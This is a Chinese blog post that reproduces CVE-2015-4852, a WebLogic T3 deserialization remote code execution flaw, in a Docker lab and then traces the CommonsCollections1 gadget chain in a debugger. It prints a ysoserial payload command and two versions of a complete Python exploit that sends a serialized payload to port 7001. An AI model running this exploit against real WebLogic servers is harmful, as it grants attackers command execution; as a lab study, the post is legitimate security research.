复现了一下cve-2015-4852,之后又附上了我蹩脚的分析过程

环境搭建

用vulhub上现成的镜像,然后用docker-compose改改环境变量开启它debug默认,映射一下端口就可以

docker-compose内容如下:

version: \'2\'
services:
 weblogic:
    image: vulhub/weblogic
    ports:
      - "7001:7001"
      - "8453:8453"
    environment: 
        debugFlag: "true"

之后docker-compose up -d,web端口为7001,调试端口为8453

漏洞复现

复现主要利用CommonsCollections1来实现命令执行,可用ysoserial快速生成所需payload:

java -jar ysoserial.jar CommonsCollections "touch /tmp/rce > payload.ser"

之后使用下面的exp(python2运行)对目标进行测试:

#coding=utf8
import socket
import struct

def exp(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_address = (host, int(port))
    data = ""
    try:
        sock.connect(server_address)
        headers = \'t3 12.2.1\nAS:255\nHL:19\n\n\'.format(port)
        sock.sendall(headers)
        data = sock.recv(2)
        f = open(\'payload.ser\', \'rb\')
        payload_obj = f.read()
        f.close()
        payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000".decode(\'hex\')
        payload3 = "aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078".decode(\'hex\')
        payload2 = payload_obj
        payload = payload1 + payload2 + payload3

        payload = struct.pack(\'>I\', len(payload)) + payload[4:]

        sock.send(payload)
        data = sock.recv(4096)
    except socket.error as e:
        print (u\'socket 连接异常!\')
    finally:
        sock.close()

exp(\'192.168.184.128\', 7001)

之后如果能在docker里的/tmp中找到rce这个文件,即复现成功

分析

动态调试环境搭建

首先将docker中如下图所示的文件拷贝到实体机中(一般在/root目录下,可以把它们压缩之后再拷出来,会快一点):

之后用idea打开Oracle/Middleware/wlserver_10.3,将docker中原/root/Oracle/Middleware/modules和原/root/Oracle/Middleware/wlserver_10.3/server/lib添加到依赖中(Add as Library),然后将docker中原jdk添加到项目中(/root/jdk)最后的配置应该是这样的:

依赖和环境都配好之后就需要配置远程调试了,配置一个Remote就好(没错,它就叫Remote)配置完成后如图:

之后测试是否可进行远程调试。找到wlserver_10.3/server/lib/weblogic.jar/weblogic/wsee/jaxws/WLSServletAdapter,在第141行下断点:

然后打开debug模式(点右上角绿虫子),访问http://192.168.184.128:7001/wls-wsat/CoordinatorPortType11,出现如下情况即说明环境搭建成功:

代码分析

已知是使用CommonsCollections1打的,而CommonsCollections会用到一些方法,找到这些方法,在其中下断点,然后使用exp打,最后看看调用栈进行分析是一种比较快速的分析方法。

查看ysoserial使用的cc1链源码可以发现作者的Gadget:

ObjectInputStream.readObject()
	AnnotationInvocationHandler.readObject()
		Map(Proxy).entrySet()
			AnnotationInvocationHandler.invoke()
				LazyMap.get()
					ChainedTransformer.transform()
						ConstantTransformer.transform()
						InvokerTransformer.transform()
							Method.invoke()
								Class.getMethod()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.getRuntime()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()

从中找一个明显的方法,然后下断点,比如在InvokerTransformertransform中下了断点,之后执行exp,如图:

为了确认在这里实现了命令执行,可以多往下走两步,确认一下,避免不必要的麻烦,例如当调到下图所示位置时,该步就会执行touch /tmp/rce

此时完整调用栈如下:

transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:51, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy57 (com.sun.proxy)
readObject:328, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:969, ObjectStreamClass (java.io)
readSerialData:1871, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

简单看看调用栈的各个类名,就很容易能猜出来大概的调用过程:

创建线程-->建立Socket-->T3协议处理-->反序列化发送过去的payload-->执行命令

追踪一下调用栈,可以快速找到整个运行过程中调用函数反编译后的代码

为了更更快的分析漏洞原理,用wireshark抓包分析整个过程中产生的流量,去掉明显不是攻击过程中产生的流量(比如ssh)之后如图:

可以以ysoserial生成的payload为特征来快速查找对应的攻击流量,winhex打开之前生成的payload.ser:

比如选ACED000573720032,可用下面的脚本将其转换为wireshark过滤器可识别的数据:

import re
pattern = re.compile(\'.{2}\')
data = "ACED000573720032"
print(":".join(pattern.findall(data)))
# 输出 AC:ED:00:05:73:72:00:32

然后过滤、追踪tcp流,就可以看到整个过程中的流量信息:

HEX转储:

之前的文章中已经分析过weblogic对T3协议的辨别和处理规则了,接下来直接分析weblogic对之后发送的数据的反序列化流程

Tips

分析之前先分享一下我分析的方法,因为之前没接触过java,分析这个洞就异常费劲,只能疯狂F7,调着调着人都晕了,所以用下面的方法来提高调试效率:

  1. 优化payload

查阅资料后发现,无需使用原有exp中payload3部分,将其删去避免干扰,并给原有exp添加一个while循环方便调试,最终使用的exp如下:

#coding=utf8
import socket
import struct


def exp(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_address = (host, int(port))
    data = ""
    try:
        sock.connect(server_address)
        headers = \'t3 12.2.1\nAS:255\nHL:19\n\n\'.format(port)
        sock.sendall(headers)
        data = sock.recv(2)
        print(data)
        f = open(\'payload.ser\', \'rb\')
        payload_obj = f.read()
        f.close()
        payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000".decode(\'hex\')
        payload2 = payload_obj
        payload = payload1 + payload2

        payload = struct.pack(\'>I\', len(payload)) + payload[4:]
 
        sock.send(payload)
        data = sock.recv(4096)
    except socket.error as e:
        print (u\'socket 连接异常!\')
    finally:
        sock.close()


if __name__ == \'__main__\':
    while raw_input("[+] GO?(Y/N):")[0].lower() == \'y\':
        exp(\'192.168.126.128\', 7001)
        print("[+] Done")
        print("-----------------------------------")
  1. 监控文件生成

之前调试的时候总需要一直ls来看看文件rce是不是生成了,很麻烦,所以需要文件监控,可以将tmp目录挂载到主机中,之后用inotifywait来监控tmp目录文件变化情况,从而快速判断是哪里执行了命令。监控文件变化的命令如下:

inotifywait -m tmp

之前也写过监控文件变化的python脚本,但是资源占用太多了,还是用inotifywait吧

正文开始

首先来看看

weblogic\socket\SocketMuxer.class中读取发送过来的序列化数据:

读到的数据都存在了this.head中,之后再通过MuxableSocketT3makeChunkListthis.head置空,并将接收到的数据传给dispatch方法:

之后经过一堆读取操作,把处理好的数据传给了InboundMsgAbbrev.ServerChannelInputStream

它继承了ObjectInputStream

之后调用readObject就可以反序列化了

参考

https://www.ershicimi.com/p/469a07f4b46459ea3a3e48494349124d

版权声明:本文为r0co原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/r0co/p/13739814.html